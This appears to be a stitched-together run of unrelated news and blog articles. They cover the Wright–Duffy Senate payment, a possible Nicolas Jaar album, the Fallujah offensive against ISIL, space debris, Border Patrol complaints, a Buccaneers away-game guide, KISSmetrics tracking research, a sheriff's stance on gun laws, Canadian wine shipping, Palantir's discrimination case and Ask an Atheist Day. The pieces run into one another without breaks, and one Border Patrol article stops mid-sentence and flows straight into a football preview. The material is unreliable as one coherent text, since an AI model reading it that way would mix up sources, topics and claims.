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Three people in Stephen Harper’s office knew of Nigel Wright's $90,172 payment to Mike Duffy. ( FRED CHARTRAND / THE CANADIAN PRESS ) Mike Duffy was told not to talk to media after being given a $90.172 payment to repay dubious housing expenses. ( Fred Chartrand / THE CANADIAN PRESS )
We already knew that Nigel Wright, Harper’s former chief of staff, gave Sen. Mike Duffy $90,172 to repay dubious housing expenses. Now, courtesy of court documents filed by the RCMP and released Thursday, we know this was more than an act of misguided charity. We had been told initially that Wright demanded nothing from Duffy in return for the $90,172 cheque. We now know that this wasn’t exactly accurate. Wright, according to the Mounties, told Duffy that if he wanted the money he had to keep his mouth shut.
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We don’t know, however, what the Prince Edward Island senator was to keep his mouth shut about. Prior to this week, the story from the Prime Minister’s Office was that Wright had acted completely on his own. We know now this isn’t quite true. At least four other people, including three in Harper’s office, knew of the payment. However, none of them, the Mounties were told, alerted the prime minister. Prior to this week, the Conservative Party insisted that it had nothing to do with the cheque to Duffy.
We now know that this, too, isn’t the whole story. Lawyers interviewed by the RCMP said the Conservatives were initially prepared to cover the amount that Duffy claimed improperly from the Senate. But at the last minute the party balked. The reason given to the police is that, while the Conservatives were willing to quietly pay $32,000 to one of their high-profile senators caught making inappropriate expense-account claims, they were not willing to cough up more than $90,000.
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To put it another way, the principle wasn’t at issue. The amount was. The new documents show Wright placed two conditions on the cheque he wrote to Duffy on March 25. The first was that Duffy use the money to repay the Senate (which he did). The second was that he stop talking to the media. What was Duffy not to talk to the media about? What, if anything, did he know that Wright didn’t want him to say? We don’t know the answers to those questions. We do know that Duffy did continue to talk to the media. In particular, CTV quoted him as claiming on May 14 that he secured the $90,172 from a bank loan and not from Wright — a claim which was untrue. Before this week, some had speculated that the $90,172 payment was part of an arrangement aimed at limiting political damage to Harper and the Conservative Party. The theory here is that Duffy would quietly repay the money he improperly claimed. In return, his fellow Conservatives, who hold a majority in the Senate, would whitewash his actions (which, initially, they did). This is still a theory unproven in court. But we now know that Cpl. Greg Horton, the RCMP officer looking into the case, holds a similar opinion. This, he wrote in documents filed with an Ottawa court, is why he believes Duffy’s acceptance of the $90,172 cheque violates Section 121 of the Criminal Code. That section makes it illegal for a public official to accept a benefit in exchange for co-operation or influence. What the RCMP officer didn’t mention, at least in the documents made public so far, is that it is also illegal under Section 121 for anyone to offer such a benefit to a public official. Which means that Wright, as well as anyone else involved in making the payment, may also be criminally liable. Finally, in a seemingly unrelated development, we know that Marjory LeBreton, the government leader in the Senate, has resigned from cabinet and Harper doesn’t plan to replace her. An anonymous government official told reporters that Harper hopes to distance himself from a Senate that has become an embarrassment. And perhaps this explanation is true. But LeBreton is a shrewd political survivor who, while intensely loyal to the Conservative Party, has in the past been quietly but harshly critical of the man now its leader. Perhaps, as this scandal accelerates, she is trying to distance herself from Harper. Thomas Walkom’s column appears Wednesday, Thursday and Saturday.
Read more about:Nicolas Jaar has posted a new image to his Twitter, Facebook, and Instagram. It resembles an album cover and suggests that the producer could be readying a new project, possibly called Sirens, which is written four times on the image. The art also says “ya dijimos no pero el si esta en todo,” which roughly translates to “we already said no but the yes is in everything.”
Further fueling speculation is a second image posted on Jaar’s website. It features a triangle with the words Pomegranates, Nymphs, and Sirens (written six times); Pomegranates is the name of Jaar’s unofficial soundtrack to the film The Color of Pomegranates, and Nymphs is the name of his 2015 EP series. The site’s metadata includes “thetrilogy.jpg,” suggesting that Sirens is somehow related to the 2015 projects. The metadata also says, “<!-- what were you expecting to find? -->.” See the Sirens image below.
Jaar’s excellent debut studio LP, Space Is Only Noise, arrived back in 2011. He’s released a number of EPs and remixes since then. In addition to the Pomegranates soundtrack he put out last year, he also provided the official score to the film Dheepan. In 2013, he released an album with Dave Harrington as Darkside. The two played their final Darkside show back in December 2014.
Revisit our 2013 interview with Nicolas Jaar.
Watch Darkside’s full set at Pitchfork Music Festival Paris 2013:Iraqi special forces were on the outskirts of Fallujah, the army said, marking a new phase in efforts to take the city from Islamic State of Iraq and the Levant (ISIL) and sparking fears for about 50,000 civilians trapped there.
Fighting with ISIL was ongoing throughout Iraq on Sunday with battles near Mosul in the north and Heet in western Anbar province, as well as across the border in Syria in the city of Raqqa.
In Heet - 140km west of Baghdad - about 40 Iraqi security forces were killed in an ISIL offensive that sent troops, police, and tribal fighters into retreat from the city that was re-taken from the armed group in April, military sources told Al Jazeera.
Tens of thousands of soldiers and fighters - made up of military, police and militias, and backed by air power from a US-led coalition - launched an offensive to retake Fallujah last week. The arrival of Iraq's counter-terrorism service (CTS) may signal an all-out assault is imminent.
Fallujah: 50,000 Iraqis trapped by assault on ISIL
Abdelwahab al-Saadi, the Iraqi army commander in charge of the operation, said on Sunday that several large contingents had now reached two military camps near the city and were ready to strike.
"These forces will break into Fallujah in the next few hours to liberate it from Daesh," he said, using an Arabic acronym for ISIL, which is also known as ISIS.
The counter-terrorism force said it had the city completely surrounded. Iraqi officials claimed gains against ISIL, but there was no way to independently verify that.
"There is resistence but we are crushing it very quickly... We have a momentum from different fronts," said General Abdelamir al-Shimary from Baghdad's Operations Command.
Fallujah, 50km west of Baghdad, is one of the two remaining major Iraqi cities still in ISIL hands, the other being Iraq's second-largest city Mosul.
The Fallujah operation has come at a human cost, rights groups said, with thousands of civilians trapped between ISIL fighters and the advancing Iraqi army and allied Shia militia.
Al Jazeera's Omar al-Saleh, reporting from Erbil in northern Iraq, described the situation in the city as dire.
"There is a lack of medicine and food. They are caught in the fighting between ISIL and Iraqi forces," he said.
Some 50,000 people were still stuck in the centre of the city on Sunday, struggling with dwindling water and food supplies. The UN said it had reports of people starving to death and others and being killed for refusing to fight for ISIL.
"We have dramatic reports of the increase of the number of executions of men and older boys refusing to fight on behalf of ISIL," said Melissa Fleming, a spokeswoman for the UN High Commissioner for Refugees (UNHCR).
Our teams are doing all they can to assist the few families who managed to escape the dire situation in #Fallujah pic.twitter.com/rDjZSZKCZo — NRC (@NRC_Norway) May 28, 2016
About a thousand ISIL fighters still in the city were accused of using civilians as human shields, but UNHCR also said Iraqi forces had blocked supply routes, preventing civilians from getting out.
Hundreds of families were able to flee on Friday with the help of government forces, but the majority remain trapped, aid groups said.
"We are receiving hundreds of displaced Iraqis from the outskirts of Fallujah who are totally exhausted, afraid and hungry," Nasr Muflahi, country director for the Norwegian Refugee Council, said.
"Thousands more remain trapped in the centre of Fallujah, cut off from aid and any form of protection."
Fallujah, a predominantly Sunni city, fell out of government control even before ISIL swept through Iraq's heartland in June 2014, and is one of the group's most iconic strongholds.
Tens of thousands of Iraqi forces - including the Hashed al-Shaabi umbrella group dominated by Shia militias - began an operation on May 22 to retake it.
Peshmerga move on Mosul
Meanwhile, the Kurdistan Regional Government (KRG) announced on Sunday an offensive by Peshmerga forces that captured two ISIL-held towns about 25km from Mosul. About 5,500 fighters were involved, backed by international coalition warplanes.
Peshmerga forces retook al-Muftiyah and Jim Kour towns after heavy clashes in the early hours of Sunday, sources told Al Jazeera.
Fierce fighting was ongoing as Peshmerga soldiers advanced towards the town of al-Khazir, 35km east of Mosul.
"This is one of the many shaping operations expected to increase pressure on ISIL in and around Mosul in preparation for an eventual assault on the city," the KRG said in a statement.
Iraqis fleeing ISIL-held Mosul seek refuge in Syria
In a separate development in neighbouring Syria, heavy fighting continued with ISIL sweeping through Aleppo province in a devastating offensive, cutting off the main road between the towns of Mare and Azaz.
Al Jazeera's Hashem Ahelbarra, reporting from Gaziantep in Turkey, said the situation was serious. "Thousands of people have fled the fierce fighting. But many have nowhere to go," he said.
More than 160,000 civilians have been trapped in Syria by the fighting, which also forced the evacuation of one of the few remaining hospitals in the area run by the international medical organisation Doctors Without Borders (MSF).
The UK-based Syrian Observatory for Human Rights said on Saturday that US-led coalition warplanes had targeted ISIL positions north of ISIL's de facto capital Raqqa, reportedly killing as many as 45 ISIL fighters.
Arab, Kurdish and US military forces have been closing in territory around Raqqa over the past week.A NASA-sponsored report says the amount of space junk orbiting Earth is alarmingly high and may have reached a point where it could jeopardize all future space exploration.
The document, prepared by the US National Research Council, says computer models show there is a danger that collisions between pieces of space debris, which range in size from minuscule fragments to entire decommissioned boosters, could create even more space trash.
That means the situation is critical, says Donald Kessler, a retired NASA scientist who led the research.
"We've lost control of the environment," he said. “The hazard is increasing and there is a necessity to start cleaning up space.
"NASA needs to determine the best path forward for tackling the multifaceted problems caused by meteoroids and orbital debris that put human and robotic space operations at risk," Kessler added.
The US space agency monitors some 22,000 larger fragments of space junk, while some 500,000 smaller pieces are too small to be tracked.
A fast-moving piece of junk may damage a satellite or a manned spacecraft. An egg-sized metal lump moving at orbital speeds has kinetic energy similar to a speeding truck.
The International Space Station occasionally has to change its orbit to dodge the fragments. In June, the ISS crew had to evacuate into the docked Soyuz space capsule during a proximity alert.
There is no proven way for clearing the junk from the orbit, although engineers in many countries are developing solutions. The suggestions vary from micro-satellites, which would attach to junk fragments and pull them down into the atmosphere, to giant magnetic nets harvesting the dangerous debris.
The report calls for a concentrated effort to solve the problem. It would require not only cleaning technology, but also a barrage of international talks, as space-faring nations need to agree on issues such as ownership rights and the risk management.A well-known Jacksonville personality was treated and released Friday after his bicycle and a car collided on Marine Boulevard.
A well-known Jacksonville personality was treated and released Friday after his bicycle and a car collided on Marine Boulevard.
Robert Earl Mattocks, better known as both �Radio� and �The Jacksonville Ninja� for his history of dancing or performing martial arts along area streets, was hit by a car Friday morning in Jacksonville, according to an email from Jacksonville Department of Public Safety spokeswoman Beth Purcell.
Jacksonville police responded to reports of a wreck involving a car and bicyclist about 10:30 a.m. Friday at 408 Western Blvd. Mattocks, 53, of Jacksonville, was riding south in northbound lanes when he collided with a 2012 Toyota Scion driven by Pamela Villa, 21, of Richlands, according to Purcell.
Mattocks was transported by EMS to Onslow Memorial Hospital where he was evaluated and released.
The wreck is under investigation.American Horror Story star Evan Peters recently spoke about the departure of Jessica Lange and what's ahead for season 5.
Sarah Paulson Talks 'Disconcerting' Emmy Obsession
Peters, who has had a starring role in all four seasons of American Horror Story, spoke with GoldDerby in a new video interview this week. The actor talked about Freak Show and how Lange will be missed on set going forward.
Asked what it's like to not have Lange on the show anymore, Peters admitted that things will be weird but he still has confidence in the team.
Jessica Lange Returns To Acting After Leaving 'American Horror Story'
"It's strange, definitely. She was a huge part of the show," Peters said, of Lange. "We're taking off on this journey without our captain. Hopefully we'll be able to get there. I think we will, I have confidence in us. But she's definitely gonna be missed. She just brings so much to table and she brings such a reality to everything."
Lange left after four seasons with the show, with Freak Show being her final season.
Now moving forward in season 5, which is titled Hotel, Peters admitted that he doesn't know much about what's ahead but he knows that the concept is terrifying in and of itself.
"I don't know much but I know that hotels are terrifying and I'm actually very scared to start working on this one. I'm very scared," he admitted. "'The Shining' scared the crap out of me. I don't know if it'll be anything like 'The Shining' but anything in a hotel is terrifying. Just the energies, the different energies in the rooms and I have a feeling that the set are going to be gorgeous this year."
American Horror Story show runner Ryan Murphy tweeted that Peters would be playing someone "in Room 64" and fans are trying to figure out what exactly this means. But since this is American Horror Story, we can only assume that Room 64 is not a place you want to be.
American Horror Story: Hotel is set to premiere in October on FX.
See Now: Famous Actors Who Turned Down Iconic Movie RolesWhile U.S. Border Patrol brass enjoys a “leadership meeting” in the Caribbean this week, frontline agents remain strapped with a dangerous shortage of manpower, funding and lack of crucial weapons and equipment training that makes it impossible to adequately secure the Mexican border. Judicial Watch spent time on the Arizona-Mexican border recently and interviewed agents on the ground who are fuming that the Trump administration has done nothing to provide them with the necessary tools to secure the dangerously porous southern border. The agents say management claims there’s no budget to send them to essential trainings, yet there’s money to dispatch sector chiefs on a beach getaway.
Furthermore, the administration’s newly appointed Border Patrol chief, Ronald Vitiello, was a deputy chief at the agency under Barack Obama and was the original implementer of the outrageous “catch and release” policy. Thousands of illegal immigrants—some violent criminals—have been released under the initiative, which is the single biggest factor driving illegal immigration, according to congressional testimony delivered by National Border Patrol Council President Brandon Judd last year. “If you are an unaccompanied minor, we will not only release you, but will escort you to your final destination,” Judd testified. “If you are a family unit, we will release you. If you claim credible fear, we will release you. If you are a single male and we do not physically see you cross the border and you claim that you have been in this country since 2014, we will release you.”
Incredibly, Homeland Security Secretary John Kelly chose the mastermind behind the disastrous catch and release policy to head the Border Patrol. While outmanned frontline agents tell Judicial Watch they are overwhelmed with drug cartels, arms smugglers, terrorists and illegal immigrants, their boss will be thousands of miles away enjoying sun and fun in San Juan, Puerto Rico. Officially, it’s called the U.S. Border Patrol Chiefs Quarterly Leadership Meeting and in past years it’s been held closer to the action in locations near the southern border such as Tucson, Arizona and San Diego, California. A minimum of all 20 chief patrol agents and at least six managers from headquarters are participating in the powwow, which will address a “path forward” and offer a “wall update” as well as a “Caribbean update.” The two-day event kicks off today with an introduction from Border Patrol Chief Vitiello. “Instead of BP management meeting in El Paso, Douglas, Nogales or even Tucson where drugs, guns, illegals, cartels and terrorists pose a real threat, they jet off to Puerto Rico for days on the beach,” one agent said during Judicial Watch’s recent border tour.
Another front-line federal official told Judicial Watch that Border Patrol officers in the region’s most dangerous stretches are unable to utilize equipment such as quad-runners due lack of training, supposedly because there aren’t enough funds to conduct the courses. Additionally, travel budget shortages are keeping firearms instructors from staying current on their certification because they can’t be deployed to the locations where the courses are held. Besides the training obstacles for existing agents, there’s a huge shortage of manpower along the Mexican border, the frontline officers stress. “They might not find many useful strategies from the rank-and-file on the border but they’re sure to get a great tan on the beach,” said one frustrated official. Another called it “shameful” and one demoralized law enforcement veteran used lyrics from the famous rock n’ roll band, the Who, to take a jab at the Trump |
Stadium. It also brings a matchup between the Bucs defense and the guy some fans thought should’ve been their pick at #19, RB Dalvin Cook. The Vikings started their 2016 season with five straight wins only to lose 8 of their last 11 games and finish 8-8 for the year. This is another young team with some potential that should prove to be another tough road test for our Bucs. However, the highlight of this trip could be the fans. The members of the VWO, or Viking World Order, are some of the most passionate and intimidating fans in the league. This group was founded in 1997 by longtime Vikings fan Sir Syd Davy and has become a seriously exclusive club. There are currently about 180 members, both men and women, in the VWO, but it’s not easy to get in. VWO wannabe’s have to get support from at least 15 of the 28 “generals” based on a biography about what makes you a die hard Vikings fan worthy of this distinguished honor. If you pass that test, then the candidate goes to Sir Syd for final approval and they’re “knighted” into membership. Yes, I said “knighted”. Like down on bended knee and touched on the shoulders with a large, sharp sword by a very large man kind of “knighted”. Oh, and they’re just as serious about their tailgating too. What NFL fan wouldn’t want to party with this bunch? Minnesota is definitely up there on this year’s list of road trips!
Week 6 is an opportunity for the Bucs to redeem themselves. Last year, they went to Arizona in Week 2 and got destroyed 40-7 by a mediocre Cardinals team. That should be all the motivation this team needs to go in there and have a good showing. Even though the Cards lost some key defensive players this offseason like DT Calais Campbell and S Tony Jefferson, they still have enough pieces in place to cause problems for opposing offenses. Not to mention the guys on the other side of the ball like veteran QB Carson Palmer, RB David Johnson and WR Larry Fitzgerald. This is still a dangerous team despite finishing 7-8-1 last season. Now I don’t know much about the city of Phoenix or even the state of Arizona for that matter. I do know that it’s HOT there. Yeah, I know it’s hot here in Florida too, but like everyone says, it’s a different kind of heat. It’s dry. Like dry sauna kind of dry. Weather aside, there is one really good reason to make this trip…the Buccaholics! This is the ONLY west coast game on the Bucs schedule this season and you can bet that the Buccaholics group will be throwing it down in Arizona. For those few Bucs fans who are just resurfacing from years of hiding, the Buccaholics are a group of Bucs fans that originally started in Southern California and has morphed into one of the largest Bucs fan organizations in the country. There are chapters all across the United States and all over the world but a large percentage of them are from the California, Arizona, New Mexico, Nevada region. That means they’ll be at University of Phoenix Stadium in full force once again taking over just like they did in San Diego last year. They also put on one hell of a tailgate party! It would be an epic road trip to make this season.
The very next week, the Bucs travel to Buffalo to play the Bills for Week 7. What can I say about this one…I mean it’s Buffalo. They do have a pretty passionate fan base that likes to party. In fact, they were voted the “Most Drunk Fans in the NFL” in 2015 which is no easy task considering all 32 teams have fan bases who tailgate and party hard. Other than that, it’s Buffalo. The Bills could be another good road test for the Bucs so I expect it to be a fun game to attend. However, it is still just Buffalo.
In Week 9, they finally get some division action on the road when they visit the Mercedes-Benz Superdome to play the rival Saints. If you’ve never been to New Orleans, I highly recommend this trip. Not only because the Saints have one of the friendliest and most passionate fan bases in the league in the Big Easy Mafia who put on one hell of a tailgate party, but because the city itself is amazing. So much history. So much culture. So much fun. From the bars and restaurants that line Bourbon Street to Harrah’s Casino. From the horse-drawn carriage rides through the historic district to the fairy rides down the river. From the melt in your mouth beignets at Cafe’ du Monde to the award winning gumbo at the Gumbo Shop. There’s no shortage of things to do, places to go and things to see in this city. All of this combined with a good matchup between NFC South rivals definitely makes this another one of those “weekend getaway” trips to put on the road trip list this season!
After a much-needed bye, Week 12 has the Bucs visiting the Atlanta Falcons brand new stadium for another division game. This game could end up having division/playoff implications this late in the season. The Falcons will surely be in the mix for the NFC South title once again and this should be a fun game to watch. However, there are other reasons that make this one of the “must-do” road trips this year. First, it’s close. A not so bad 6 hour drive up I-75 and you’re there. No airports. No expensive flights. Not really even a need for the extra cost of a hotel room. That makes it one of the more cost-effective road trips of the season for us fans. Second, is the pre-game. The ATLBucs/Buccaneer Invasion group there puts on one of the biggest, baddest Buccaneer away game tailgates in the country and it’s an absolute must if you’re planning on catching this game. The president, John “Superfan” Blakey and the rest of his group really know how to do it up right. For me, this trip is pretty high on the list as well.
Week 13 brings an NFC conference game with the Packers that could have playoff implications. This may be the number one road game on my list this year. It’s the Packers. It’s in legendary Lambeau Field. It’s Aaron Rodgers against our Buccaneer defense. Need I say more? Yes, it’s a long distance and would be an expensive trip but it’s one of those “bucket list” type things to see a game in that stadium. Besides that, they have one of the most passionate fan bases in the NFL. In fact, they were voted the “NFL’s Best Fan Base” last year for the second year in a row. They have over 100,000 people on their season ticket waiting list for God’s sake. And they know how to party consistently being voted as one of the best places in the league to tailgate. If I can only make one away game this year, then this might be the one!
The final away game of the year comes in Week 16 on Christmas Eve against the Carolina Panthers. As much fun as this road trip would be, it does fall on a holiday which will take it off of most fan’s lists. As much as I love North Carolina in the winter, it’s just not an option for me this year. But if some of you are thinking about making the trip, here’s a few reasons why you should. First the obvious, it’s a division rivalry game. It’s Cam Newton. And it could possibly have NFC South title or even playoff implications. Second, it’s in Charlotte, North Carolina. A city that’s rich in history with plenty of extra-curricular activities to do and all kinds of things to see like the Nascar Hall of Fame and the Carolinas Aviation Museum. Third, it’s relatively close as away games go as it’s only an 8 hour drive up I-95 or a short 90-minute flight from TIA. Finally, it’s the last away game of the season. The last chance to see a Bucs regular season game outside of RayJay for this year. Those are all pretty good reasons to consider attending this game if you can get past the Christmas Eve game thing!
So there it is the entire 8-game road schedule for the 2017 Buccaneers. Did this offer some clarity or just confuse you even more? Hopefully, this will help you in your decision-making process when it comes to choosing which away games to attend this year. I for one am trying to narrow down my choices between the Dolphins, Vikings, Saints, Falcons and Packers. Unfortunately, the Miami and Minnesota games are only a week apart so that eliminates one of those for me. I also have a decision to make between the Atlanta and Green Bay as those games are back to back. I know…decisions, decisions. This is going to be an exciting year for us as Bucs fans and I don’t think 8 home games will be enough Bucs football for most of us to see in person. Bucs Nation will be present and accounted for in every one of these games I’m sure. Will you be a part of it? I hope to see some of you out there in the trenches but until then, as always…GO BUCS!!!
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TumblrA group of respected security researchers have published a paper documenting the tactics used by KISSmetrics -- a company that counts Hulu and many other Internet giants among its customers -- to install and read back cookies on your computer even if you don't want them. Using a kind of kitchen-sink approach, KISSmetrics is able to track your computer even if you've got cookies, Flash cookies and other common cookie-setting vectors turned off. It's one thing for companies to say that they only gather information about users who allow such tracking; it's another thing for a company to go to endless lengths to circumvent their users' best attempts to shield themselves from tracking.
“Both the Hulu and KISSmetrics code is pretty enlightening,” Soltani told Wired.com in an e-mail. “These services are using practically every known method to circumvent user attempts to protect their privacy (Cookies, Flash Cookies, HTML5, CSS, Cache Cookies/Etags…) creating a perpetual game of privacy ‘whack-a-mole’.”
“This is yet another example of the continued arms-race that consumers are engaged in when trying to protect their privacy online since advertisers are incentivized to come up with more pervasive tracking mechanisms unless there’s policy restrictions to prevent it.”
They point to their research that found that when a user visited Hulu.com, they would get a “third-party” cookie set by KISSmetrics with a tracking ID number. KISSmetrics would pass that number to Hulu, allowing Hulu to use it for its own cookie. Then if a user visited another site that was using KISSmetrics, that site’s cookie would get the exact same number as well.
So that makes it possible, the researchers say, for any two sites using KISSmetrics to compare their databases, and ask things like “Hey, what do you know about user 345627?” and the other site could say “his name is John Smith and his email address is this@somefakedomainname.com and he likes these kinds of things.”On the second floor of a nondescript warehouse owned by New York City’s Sanitation Department in East Harlem is a treasure trove—filled with other people’s trash.
Most of the building is used as a depot for garbage trucks, but there’s a secret collection that takes over an entire floor. The space is populated by a mind-bogglingly wide array of items: a bestiary of Tamagotchis, Furbies; dozens of Pez dispensers; female weight lifting trophies; 8-track tapes; plates, paintings, sporting equipment and much more.
This is the Treasures in the Trash collection, created entirely out of objects found by Nelson Molina, a now-retired sanitation worker, who began by decorating his locker. Collected over 30 years, it is a visual explosion, organized by type, color, and size. Recently, Atlas Obscura had the chance to visit the collection with the New York Adventure Club, take some photos, and revel in the vast creative possibilities of trash.
Unfortunately, this isn’t a collection that keeps regular hours; drop-ins are not allowed. For more information on the occasional organized tours, email tours@dsny.nyc.gov.
Guitars, including an original Fender, surround the Michael Jackson shrine.
New Yorkers would seem to hate pewter tableware considering how much of it they put in the trash.
Art is a particular specialty of the collection. Nelson Molina grabbed any piece that caught his eye.
Even being Superman won’t spare you the fate of being thrown in the garbage by New Yorkers with little space to spare.
A relaxing garden area, set aside for sanitation workers.
Every object in the collection comes with an untold story, not least these three female body building trophies, all thrown away for reasons we will never know.
Christmas, unsurprisingly, has a place in both the trash and in the Treasures in the Trash collection.
A wonderful sense of humor infuses the entire collection.
Some of the items left in trash are deeply personal.
Toys are a major theme in the collection.
Nothing is too sacred for the trash. Religious symbols abound.
Fruit plates get a second chance in the Treasures in Trash collection.Please enable Javascript to watch this video
HUNTSVILLE, Ala.(WHNT) - A sweeping set of gun control proposals laid out by President Obama on Wednesday is adding more fuel to a growing national debate, and one local lawman is raising concerns that the proposed legislation is unconstitutional.
Madison County Sheriff Blake Dorning told WHNT News 19 that his office will not enforce new gun control legislation if he feels those laws violate the Second Amendment. Dorning said he has serious doubts about President Obama's latest proposals, stating that any gun laws which do pass would have to be in line with the U.S. Constitution and Alabama state law in order to be enforceable.
"The federal authorities can try to enforce it," said Dorning. "I'm the Sheriff of Madison County. I took a constitutional oath to defend the Constitution of the United States of America, to defend the Constitution of the State of Alabama, even if it takes my life. That is my position."
Sheriff Dorning is the latest in a chorus of lawmen from across America who are saying they may not enforce new gun control legislation. President Obama's call for a new assault weapons ban and 10-round magazine limit were the headlines in what some say are the most stringent gun control measures ever. The President cannot get the two major revisions unless Congress signs off, but Sheriff Dorning said even if they do, Washington is not his final authority.
"As long as you are a law-abiding citizen, then I don't see a problem with law-abiding citizens being able to arm themselves however they so choose," said Dorning, who pledged to ignore any law that would call for the confiscation of assault weapons or any other firearm. "Our people in our communities and homes need not fear that the Sheriff of Madison County or his deputies would come to their homes and make an attempt to disarm them. It will not happen under my watch."
Sheriffs in Kentucky, Minnesota, Oregon and Texas have also spoken out against President Obama's gun control measures, but how the final legislation will actually be worded remains to be seen. Dorning said his office has received roughly four times the normal daily amount of concealed carry permit applications since December.Small Canadian wine producers say provincial barriers are still making it difficult for consumers to order from outside their home province, one year after the federal government eased its own restrictions.
Parliament last year removed its ban on interprovincial wine orders, but most provinces still block consumers from ordering from wineries in other parts of the country.
One vineyard owner says he still has trouble even shipping to provinces next door, and he's calling on provincial governments to change their laws.
"We get a lot of requests from outside of the province for our wines," Bruce Ewert, owner of L'Acadie Vineyards, told the CBC's Rosemary Barton.
"From our point of view, from a producer point of view, it's mainly the other provinces that have to open up their borders for us to ship to them."
Ewert says being able to ship to more provinces would mean a 20 to 25 per cent boost to his business.
"We're fairly well-known and we get requests all the time, so to be able to ship to these people instead of saying'sorry, we can't because of interprovincial barriers,' would be quite good for us. We'd be able to ship a lot more wine."
Federal government urges provinces to change
Rowland Dunning, a spokesman for the provincial liquor control boards, says the provinces don't want to lose the tax revenue they get from selling through liquor stores. That's worth about $300 million a year.
"[People advocating for changes] just want to lobby to get the products into consumers' hands and avoid those consumers and the wineries paying their fair share of taxes and mark-ups," he said.
Dunning says consumers can order privately through their provincial liquor stores.
A spokeswoman for Industry Minister James Moore — who's also a British Columbia MP — says the federal government has removed all its barriers to the interprovincial wine trade.
"All provinces and territories should follow suit and support Canadian vintners and consumer choice," Jessica Fletcher said in an email to CBC News.
So far only British Columbia and Manitoba have uncorked the new rules.
B.C. Premier Christy Clark is pushing the issue with her fellow premiers at their annual meeting this week by presenting each of them with a bottle of her province's local product.
"We said we're taking down our borders. If you want to order Ontario wine or Quebec wine or wine from any other province, fill your boots, you're legal to do it [in B.C.]," Clark said Wednesday. "So far, we haven't persuaded many provinces to follow. But I'm hoping that by giving them all a bottle of wine, they're going to want to join in."
Clark said opening up trade within Canada would create more customers and help grow the domestic wine industry as a whole.
Ontario Premier Kathleen Wynne, who is hosting the meeting of premiers and territorial leaders in Ontario's wine-producing Niagara region, said the issue is on the agenda.
"You know what, I think that's one of the things that actually we're going to be talking about [Thursday]. I certainly am going to be having a conversation with Premier Clark about that, so it's an ongoing discussion," Wynne said at a news conference Wednesday.There’s a scene near the beginning of The Usual Suspects in which the police are interrogating a series of ne’er-do-wells about a recent robbery in Queens. To induce a confession, the police tell one of the suspects (played by the amazing Kevin Pollak) that they can place him in Queens on the night of the robbery. “I live in Queens,” Pollak replies, “Did you put that together yourself, Einstein? What, do you got a team of monkeys working around the clock on this?”
I had a similar reaction when I heard about the discrimination case filed by the U.S. Labor Department against Palantir, a tech company that does data analysis for the government on counterterrorism. The suit alleges Palantir discriminates against Asians in hiring. The allegations, however, do not involve evidence of intentional bias, but instead are based on statistics. For example, the complaint alleges that in hiring software engineers, “from a pool of more than 1,160 qualified applicants – approximately 85% of whom were Asian – Palantir hired 14 non-Asian applicants and only 11 Asian applicants. The adverse impact calculated by the OFCCP [Office of Federal Contract Compliance Programs] exceeds five standard deviations. The likelihood that this result occurred according to chance is approximately one in 3.4 million.”
That’s right. Palantir does not select its employees based on random chance. Who does? Does the Labor Department randomly select its employees out of everyone who applied and met the minimum qualifications? (If so, that might explain some things).
As it turns out, though, the feds have a defense for making this ridiculous argument: the law itself is ridiculous. Anti-discrimination laws started as a noble attempt to stamp out intentional discrimination based on categories like race and sex. However, application of the law has evolved over the years to the point that businesses sometimes have to discriminate intentionally in order to comply. As a federal contractor, Palantir is especially vulnerable to whatever schemes executive bureaucrats come up with.
In particular, adverse-impact claims do not require discriminatory intent on the part of employers. Instead, companies may be in violation merely if their hiring deviates significantly from what selection by random chance would dictate. The fact that no one actually does their hiring that way is legally irrelevant.
The complaint singles out Palantir’s employee-referral system, as well as its “four-phase hiring process in which Asian applicants were routinely eliminated during the resume screen and telephone interview phases despite being as qualified as white applicants.” One might have thought that resume screens and telephone interviews were way to determine whether one candidate really was as qualified as another. But as Charles Dickens said in another context: the law is a ass.
Because even ordinary job-hiring practices can become illegal if they don’t cleave to a statistical ideal, companies that want to avoid the taint of being labeled a discriminator end up having to pay for data collection and statistical analyses to make sure they don’t run afoul of the law (failure to collect relevant data is considered evidence that an adverse impact exists). Given the wide variety of hiring practices that could result in adverse impacts, whether a particular company or contractor is found to have violated the law may depend on whether it happens to fall under the scrutiny of federal regulators.
Speaking of which, Palantir is partly owned and was founded by Peter Thiel, a venture capitalist and author who has been outspoken in favor of conservative causes and Republican candidates. I have not calculated the likelihood that, of all federal contractors, Palantir should purely by chance be subjected to such scrutiny. Maybe someone should.
Josiah Neeley is Texas Director at the R Street Institute.Today is Ask an Atheist Day. The Secular Student Alliance describes the purpose of this day this way:
National Ask An Atheist Day is an opportunity for secular groups across the country to work together to defeat stereotypes about atheism and encourage courteous dialogue between believers and nonbelievers alike. The event is intended to be an opportunity for the general public – particularly people of faith – to approach nontheists and ask questions about secular life. We’re encouraging all SSA affiliate groups to participate at whatever level they are able!
One of the benefits of writing for Patheos is the opportunity to get to know bloggers and commenters who are coming from vastly different perspectives than my own. I think talking with people with whom we disagree–even those with whom we disagree profoundly about things we each find very important–can be a really positive thing. It helps us to treat our neighbors as human beings and care about them as real people.
Two of the folks I’ve gotten to know a bit while blogging over here are atheist bloggers Neil Carter (Godless in Dixie) and JT Eberhard (W.W.J.T.D.). Both have had previous experiences within Christianity, although JT’s was more brief. Neil spent most of his life in the church before becoming an atheist. JT tends to be a bit of a firebrand on his blog, but courteous and friendly in personal interactions. JT covers the separation of church and state beat a lot, and I learn a lot from his posts about situations where religious power is sometimes used inappropriately within government. Neil is more of a diplomat and has an excellent grasp of theology. Some of his insights about church culture are so nuanced and helpful that I’ve often thought Christians could well benefit from thinking through some of his critiques. Both these men have been nothing but polite to me, and I really appreciate their willingness to come over here and talk with my readers.
I hope this mashup of my two interviews with them will help Christians and atheists talk with one another and show mutual respect, even amidst important disagreements. I hope listening a little more and talking a little less sometimes will help us as Christians treat atheists with more kindness in an increasingly polarized culture. There’s a time and place for debate, but I think taking a moment to just listen is important too.
And lest my Christian readers think I’ve gone off the deep end and have forsaken the Christian faith, such is not the case. This is one thing I really appreciated about a post JT Eberhard did about me a while ago. Here’s something he said that I think is really awesome:
So I just wanted to say kudos to Rebecca (and encourage you all to do likewise). This will not stop me from telling Rebecca I think she’s wrong about religion, and I suspect it won’t stop her from telling me I should believe in Jesus [Rebecca’s note: yep.]. But at least we can have the conversation in good faith now, knowing that each truly cares for the other as a person rather than just seeing them as a means to victory for our ideology.
Exactly right, JT. No, we don’t agree about a lot of stuff, but y’all are people, not a means of victory for an ideology. Thanks for talking with me.
Please briefly share something about who you are (your job, your family, or the like). Please also share a little bit about how you’ve come to find yourself as an atheist.
